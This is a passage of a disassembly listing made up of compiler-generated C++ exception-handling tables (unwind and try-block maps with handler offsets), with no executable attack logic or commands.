loc_43A6FE dd 0 dd offset loc_43A709 dd 25h, 43A714h, 26h, 43A71Fh, 0 dd offset loc_43A71F dd 28h, 43A714h, 0 dd offset loc_43A72A dd 0 dd offset loc_43A735 dd 2Bh, 43A740h, 2Ch, 43A74Bh, 0 dd offset loc_43A74B dd 2Eh, 43A740h, 2Eh, 43A756h, 0 dd offset loc_43A761 dd 31h, 43A76Ch, 0 dd offset loc_43A777 dd 0 dd offset loc_43A782 dd 34h, 43A78Dh, 35h, 43A798h, 34h, 43A798h, 0Ch dup(0) dword_440B60 dd 19930520h, 0Ah, 440B80h, 5 dup(0) dd 0FFFFFFFFh, 43A840h, 0FFFFFFFFh, 43A848h, 0FFFFFFFFh dd 43A850h, 0FFFFFFFFh, 43A858h, 0FFFFFFFFh, 43A860h, 0FFFFFFFFh dd 43A868h, 0FFFFFFFFh, 43A870h, 0FFFFFFFFh, 43A878h, 0FFFFFFFFh dd 43A880h, 0FFFFFFFFh, 43A888h, 4 dup(0) dword_440BE0 dd 19930520h, 0Eh, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8B0h, 0 dd offset loc_43A8B8 dd 0FFFFFFFFh, 43A8C3h, 0FFFFFFFFh, 43A8CBh, 0FFFFFFFFh dd 43A8D3h, 0FFFFFFFFh, 43A8DBh, 5, 43A8E6h, 0FFFFFFFFh dd 43A8EEh, 0FFFFFFFFh, 43A8F6h, 0FFFFFFFFh, 43A8FEh, 9 dd 43A909h, 0FFFFFFFFh, 43A911h, 0Bh, 43A919h, 0Ch, 43A921h dd 4 dup(0) dword_440C80 dd 19930520h, 2, 440CA0h, 5 dup(0) dd 0FFFFFFFFh, 43A968h, 0 dd offset loc_43A960 dd 2 dup(0) dword_440CB8 dd 19930520h, 2, 440CD8h, 5 dup(0) dd 0FFFFFFFFh, 43A9A0h, 0 dd offset loc_43A9A8 align 10h dword_440CF0 dd 19930520h, 11h, 440D10h, 5 dup(0) dd 0FFFFFFFFh, 43A9C0h, 0 dd offset loc_43A9C8 dd 1, 43A9D3h, 2, 43A9DEh, 3, 43A9E9h, 4, 43A9F7h, 5, 43AA05h dd 6, 43AA13h, 7, 43AA21h, 8, 43AA2Fh, 9, 43AA3Dh, 0Ah dd 43AA4Bh, 0Bh, 43AA59h, 0Ch, 43AA67h, 0Dh, 43AA75h, 0Eh dd 43AA83h, 0Fh, 43AA91h, 4 dup(0) dword_440DA8 dd 19930520h, 1, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAF0h, 2 dup(0) dword_440DD8 dd 19930520h, 1, 440DF8h, 5 dup(0) dd 0FFFFFFFFh, 43AB10h, 2 dup(0) dword_440E08 dd 19930520h, 6, 440E28h, 5 dup(0) dd 0FFFFFFFFh, 43AB30h, 0 dd offset loc_43AB38 dd 1, 43AB43h, 2, 43AB4Eh, 3, 43AB59h, 4, 43AB64h, 2 dup(0) dword_440E60 dd 19930520h, 6, 440E80h, 5 dup(0) dd 0FFFFFFFFh, 43AB90h, 0 dd offset loc_43AB98 dd 1, 43ABA3h, 2, 43ABAEh, 3, 43ABB9h, 4, 43ABC4h, 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 3, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 0FFFFFFFFh, 43BF7Bh, 1, 43BF86h dd 2 dup(0) dword_441FD8 dd 19930520h, 1, 441FF8h, 5 dup(0) dd 0FFFFFFFFh, 43BFB0h, 2 dup(0) dword_442008 dd 19930520h, 1, 442028h, 5 dup(0) dd 0FFFFFFFFh, 43BFD0h, 2 dup(0) dword_442038 dd 19930520h, 3, 442058h, 5 dup(0) dd 0FFFFFFFFh, 43BFF0h, 0 dd offset loc_43C007 dd 1, 43C00Fh, 2 dup(0) dword_442078 dd 19930520h, 1, 442098h, 5 dup(0) dd 0FFFFFFFFh, 43C030h, 2 dup(0) dword_4420A8 dd 19930520h, 4, 4420C8h, 5 dup(0) dd 0FFFFFFFFh, 43C058h, 0 dd offset sub_43C050 dd 0 dd offset loc_43C06F dd 2, 43C077h, 2 dup(0) dword_4420F0 dd 19930520h, 6, 442110h, 5 dup(0) dd 0FFFFFFFFh, 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh dd 43C0B0h, 0FFFFFFFFh, 43C0B8h, 0FFFFFFFFh, 43C0C0h, 0FFFFFFFFh dd 43C0C8h, 2 dup(0) dword_442148 dd 19930520h, 1Ah, 442168h, 5 dup(0) dd 0FFFFFFFFh, 43C0F0h, 0 dd offset loc_43C0FB dd 1, 43C106h, 2, 43C111h, 3, 43C11Ch, 4, 43C127h, 5, 43C12Fh dd 5, 43C13Ah, 5, 43C145h, 5, 43C153h, 5, 43C15Eh, 5, 43C169h dd 5, 43C177h, 5, 43C182h, 5, 43C18Dh, 5, 43C198h, 5, 43C1A6h dd 5, 43C1B1h, 5, 43C1BCh, 5, 43C1CAh, 5, 43C1D5h, 5, 43C1E0h dd 5, 43C1EEh, 5, 43C1F9h, 5, 43C204h, 5, 43C20Fh, 6 dup(0) dword_442250 dd 19930520h, 4, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43C280h, 0 dd offset loc_43C288 dd 1, 43C293h, 2, 43C29Eh, 2 dup(0) dword_442298 dd 19930520h, 4, 4422B8h, 5 dup(0) dd 0FFFFFFFFh, 43C2C0h, 0 dd offset loc_43C2C8 dd 1, 43C2D3h, 2, 43C2DEh, 2 dup(0) dword_4422E0 dd 19930520h, 6, 442300h, 5 dup(0) dd 0FFFFFFFFh, 43C300h, 0 dd offset loc_43C308 dd 1, 43C313h, 2, 43C31Eh, 3, 43C329h, 4, 43C334h, 2 dup(0) dword_442338 dd 19930520h, 6, 442358h, 5 dup(0) dd 0FFFFFFFFh, 43C360h, 0FFFFFFFFh, 43C36Bh, 0FFFFFFFFh dd 43C376h, 2, 43C381h, 3, 43C38Ch, 2, 43C397h, 2 dup(0) dword_442390 dd 19930520h, 3, 4423B0h, 5 dup(0) dd 0FFFFFFFFh, 43C3C0h, 0FFFFFFFFh, 43C3C8h, 0FFFFFFFFh dd 43C3D0h, 2 dup(0) dword_4423D0 dd 19930520h, 5, 4423F0h, 5 dup(0) dd 0FFFFFFFFh, 43C3F0h, 0FFFFFFFFh, 43C3F8h, 0FFFFFFFFh dd 43C400h, 0FFFFFFFFh, 43C408h, 0FFFFFFFFh, 43C410h, 2 dup(0) dword_442420 dd 19930520h, 0Ch, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C430h, 0 dd offset loc_43C438 dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 5, 43C460h, 0FFFFFFFFh dd 43C468h, 0FFFFFFFFh, 43C470h, 0FFFFFFFFh, 43C478h, 0FFFFFFFFh dd 43C480h, 0FFFFFFFFh, 43C488h, 4 dup(0) dd 19930520h, 2, 4424D0h, 1, 4424E0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4424F8h, 4 dup(0) dd offset loc_41EE2C align 10h dword_442510 dd 19930520h, 0Ah, 442530h, 5 dup(0) dd 0FFFFFFFFh, 43C4D0h, 0 dd offset loc_43C4DB dd 1, 43C4E6h, 2, 43C4F1h, 3, 43C4FCh, 3, 43C507h, 3, 43C512h dd 3, 43C51Dh, 3, 43C528h, 3, 43C533h, 4 dup(0) dword_442590 dd 19930520h, 2, 4425B0h, 5 dup(0) dd 0FFFFFFFFh, 43C570h, 0 dd offset loc_43C578 dd 2 dup(0) dword_4425C8 dd 19930520h, 3, 4425E8h, 5 dup(0) dd 0FFFFFFFFh, 43C590h, 0FFFFFFFFh, 43C59Bh, 1, 43C5A6h dd 2 dup(0) dword_442608 dd 19930520h, 1, 442628h, 5 dup(0) dd 0FFFFFFFFh, 43C5D0h, 2 dup(0) dword_442638 dd 19930520h, 2, 442658h, 5 dup(0) dd 0FFFFFFFFh, 43C5F0h, 0 dd offset loc_43C5FB align 10h dword_442670 dd 19930520h, 16h, 442690h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 0 dd offset loc_43C62B dd 0 dd offset loc_43C633 dd 0 dd offset loc_43C63B dd 3, 43C643h, 4, 43C64Bh, 0 dd offset loc_43C653 dd 6, 43C65Bh, 7, 43C663h, 0 dd offset loc_43C66B dd 9, 43C673h, 0Ah, 43C67Bh, 0 dd offset loc_43C683 dd 0Ch, 43C68Bh, 0Dh, 43C693h, 0 dd offset loc_43C69B dd 0Fh, 43C6A3h, 0 dd offset loc_43C6AB dd 11h, 43C6B3h, 0 dd offset loc_43C6BB dd 13h, 43C6C3h, 13h, 43C6CBh, 6 dup(0) dword_442758 dd 19930520h, 6, 442778h, 5 dup(0) dd 0FFFFFFFFh, 43C710h, 0 dd offset loc_43C718 dd 1, 43C723h, 2, 43C72Eh, 3, 43C739h, 4, 43C744h, 2 dup(0) dword_4427B0 dd 19930520h, 1, 4427D0h, 5 dup(0) dd 0FFFFFFFFh, 43C770h, 2 dup(0) dword_4427E0 dd 19930520h, 1, 442800h, 5 dup(0) dd 0FFFFFFFFh, 43C7A0h, 2 dup(0) dword_442810 dd 19930520h, 5, 442830h, 5 dup(0) dd 0FFFFFFFFh, 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh dd 43C7E0h, 0FFFFFFFFh, 43C7E8h, 0FFFFFFFFh, 43C7F0h, 2 dup(0) dword_442860 dd 19930520h, 0Bh, 442880h, 5 dup(0) dd 0FFFFFFFFh, 43C810h, 0FFFFFFFFh, 43C81Bh, 0FFFFFFFFh dd 43C831h, 0FFFFFFFFh, 43C83Ch, 0FFFFFFFFh, 43C847h, 0FFFFFFFFh dd 43C852h, 0FFFFFFFFh, 43C85Dh, 0FFFFFFFFh, 43C868h, 0FFFFFFFFh dd 43C873h, 0FFFFFFFFh, 43C87Eh, 0FFFFFFFFh, 43C826h, 4 dup(0) dword_4428E8 dd 19930520h, 1, 442908h, 5 dup(0) dd 0FFFFFFFFh, 43C8C0h, 2 dup(0) dword_442918 dd 19930520h, 5, 442938h, 5 dup(0) dd 0FFFFFFFFh, 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh dd 43C8F0h, 0FFFFFFFFh, 43C8F8h, 0FFFFFFFFh, 43C900h, 2 dup(0) dword_442968 dd 19930520h, 15h, 442988h, 5 dup(0) dd 0FFFFFFFFh, 43C920h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh dd 43C933h, 0FFFFFFFFh, 43C93Bh, 0FFFFFFFFh, 43C943h, 0FFFFFFFFh dd 43C94Bh, 0FFFFFFFFh, 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh dd 43C966h, 0FFFFFFFFh, 43C96Eh, 0FFFFFFFFh, 43C976h, 0FFFFFFFFh dd 43C981h, 0FFFFFFFFh, 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh dd 43C999h, 0FFFFFFFFh, 43C9A1h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh dd 43C9B4h, 0FFFFFFFFh, 43C9BCh, 0FFFFFFFFh, 43C9C4h, 0FFFFFFFFh dd 43C9CCh, 6 dup(0) dword_442A48 dd 19930520h, 1, 442A68h, 5 dup(0) dd 0FFFFFFFFh, 43CA10h, 2 dup(0) dword_442A78 dd 19930520h, 1, 442A98h, 5 dup(0) dd 0FFFFFFFFh, 43CA30h, 2 dup(0) dword_442AA8 dd 19930520h, 5, 442AC8h, 5 dup(0) dd 0FFFFFFFFh, 43CA50h, 0 ; --------------------------------------------------------------------------- pop eax retf 43h ; --------------------------------------------------------------------------- dd 1, 43CA63h, 2, 43CA6Eh, 3, 43CA79h, 2 dup(0) dword_442AF8 dd 19930520h, 5, 442B18h, 5 dup(0) dd 0FFFFFFFFh, 43CAA0h, 0 dd offset loc_43CAA8 dd 1, 43CAB3h, 2, 43CABEh, 3, 43CAC9h, 2 dup(0) dword_442B48 dd 19930520h, 1, 442B68h, 5 dup(0) dd 0FFFFFFFFh, 43CAF0h, 2 dup(0) dword_442B78 dd 19930520h, 1, 442B98h, 5 dup(0) dd 0FFFFFFFFh, 43CB10h, 2 dup(0) dword_442BA8 dd 19930520h, 1, 442BC8h, 5 dup(0) dd 0FFFFFFFFh, 43CB30h, 2 dup(0) dword_442BD8 dd 19930520h, 1, 442BF8h, 5 dup(0) dd 0FFFFFFFFh, 43CB50h, 2 dup(0) dword_442C08 dd 19930520h, 1, 442C28h, 5 dup(0) dd 0FFFFFFFFh, 43CB70h, 2 dup(0) dword_442C38 dd 19930520h, 1, 442C58h, 5 dup(0) dd 0FFFFFFFFh, 43CB90h, 2 dup(0) dword_442C68 dd 19930520h, 1, 442C88h, 5 dup(0) dd 0FFFFFFFFh, 43CBB0h, 2 dup(0) dword_442C98 dd 19930520h, 6, 442CB8h, 5 dup(0) dd 0FFFFFFFFh, 43CBD0h, 0 dd offset loc_43CBD8 dd 1, 43CBE3h, 2, 43CBEEh, 3, 43CBF9h, 4, 43CC04h, 2 dup(0) dword_442CF0 dd 19930520h, 6, 442D10h, 5 dup(0) dd 0FFFFFFFFh, 43CC30h, 0 dd offset loc_43CC38 dd 1, 43CC43h, 2, 43CC4Eh, 3, 43CC59h, 4, 43CC64h, 2 dup(0) dword_442D48 dd 19930520h, 3, 442D68h, 5 dup(0) dd 0FFFFFFFFh, 43CC90h, 0 dd offset loc_43CC98 dd 1, 43CCA6h, 2 dup(0) dword_442D88 dd 19930520h, 16h, 442DA8h, 5 dup(0) dd 0FFFFFFFFh, 43CCD0h, 0 dd offset loc_43CCDB dd 1, 43CCE6h, 2, 43CCF1h, 2, 43CCFCh, 2, 43CD07h, 2, 43CD12h dd 6, 43CD1Dh, 2, 43CD28h, 8, 43CD33h, 2, 43CD3Eh, 0Ah dd 43CD49h, 2, 43CD54h, 0Ch, 43CD5Fh, 0Dh, 43CD6Ah, 0Eh dd 43CD75h, 0Fh, 43CD80h, 0Fh, 43CD8Bh, 0Fh, 43CD96h, 0Fh dd 43CDA1h, 0Fh, 43CDACh, 0Fh, 43CDB7h, 6 dup(0) dword_442E70 dd 19930520h, 1, 442E90h, 5 dup(0) dd 0FFFFFFFFh, 43CE10h, 2 dup(0) dword_442EA0 dd 19930520h, 1, 442EC0h, 5 dup(0) dd 0FFFFFFFFh, 43CE30h, 2 dup(0) dword_442ED0 dd 19930520h, 1, 442EF0h, 5 dup(0) dd 0FFFFFFFFh, 43CE50h, 2 dup(0) dword_442F00 dd 19930520h, 1, 442F20h, 5 dup(0) dd 0FFFFFFFFh, 43CE70h, 2 dup(0) dword_442F30 dd 19930520h, 1, 442F50h, 5 dup(0) dd 0FFFFFFFFh, 43CE90h, 2 dup(0) dword_442F60 dd 19930520h, 2, 442F80h, 1, 442F90h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA8h, 4 dup(0) dd offset loc_42C244 align 10h dword_442FC0 dd 19930520h, 2, 442FE0h, 1, 442FF0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443008h, 4 dup(0) dd offset loc_42C321 align 10h dword_443020 dd 19930520h, 3, 443040h, 5 dup(0) dd 0FFFFFFFFh, 43CED0h, 0 dd offset loc_43CED8 dd 1, 43CEE0h, 2 dup(0) dword_443060 dd 19930520h, 1, 443080h, 5 dup(0) dd 0FFFFFFFFh, 43CF10h, 2 dup(0) dword_443090 dd 19930520h, 1, 4430B0h, 5 dup(0) dd 0FFFFFFFFh, 43CF30h, 2 dup(0) dword_4430C0 dd 19930520h, 1, 4430E0h, 5 dup(0) dd 0FFFFFFFFh, 43CF50h, 2 dup(0) dword_4430F0 dd 19930520h, 1, 443110h, 5 dup(0) dd 0FFFFFFFFh, 43CF70h, 2 dup(0) dword_443120 dd 19930520h, 1, 443140h, 5 dup(0) dd 0FFFFFFFFh, 43CF90h, 2 dup(0) dword_443150 dd 19930520h, 6, 443170h, 5 dup(0) dd 0FFFFFFFFh, 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh dd 43CFC0h, 0FFFFFFFFh, 43CFC8h, 0FFFFFFFFh, 43CFD0h, 0FFFFFFFFh dd 43CFD8h, 2 dup(0) dword_4431A8 dd 19930520h, 16h, 4431C8h, 5 dup(0) dd 0FFFFFFFFh, 43D000h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh dd 43D013h, 0FFFFFFFFh, 43D01Bh, 0FFFFFFFFh, 43D023h, 0FFFFFFFFh dd 43D02Eh, 0FFFFFFFFh, 43D036h, 0FFFFFFFFh, 43D03Eh, 0FFFFFFFFh dd 43D046h, 0FFFFFFFFh, 43D051h, 0FFFFFFFFh, 43D059h, 0FFFFFFFFh dd 43D061h, 0FFFFFFFFh, 43D06Ch, 0FFFFFFFFh, 43D074h, 0Dh dd 43D07Ch, 0Eh, 43D084h, 0Eh, 43D08Ch, 0Eh, 43D094h, 0Eh dd 43D09Ch, 12h, 43D0A4h, 13h, 43D0ACh, 0Eh, 43D0ACh, 6 dup(0) dword_443290 dd 19930520h, 2, 4432B0h, 5 dup(0) dd 0FFFFFFFFh, 43D0F0h, 0FFFFFFFFh, 43D0F8h, 2 dup(0) dword_4432C8 dd 19930520h, 2, 4432E8h, 5 dup(0) dd 0FFFFFFFFh, 43D110h, 0 dd offset loc_43D11B align 10h dword_443300 dd 19930520h, 1, 443320h, 5 dup(0) dd 0FFFFFFFFh, 43D140h, 2 dup(0) dword_443330 dd 19930520h, 2, 443350h, 5 dup(0) dd 0FFFFFFFFh, 43D160h, 0FFFFFFFFh, 43D168h, 2 dup(0) dword_443368 dd 19930520h, 0Ah, 443388h, 5 dup(0) dd 0FFFFFFFFh, 43D180h, 0FFFFFFFFh, 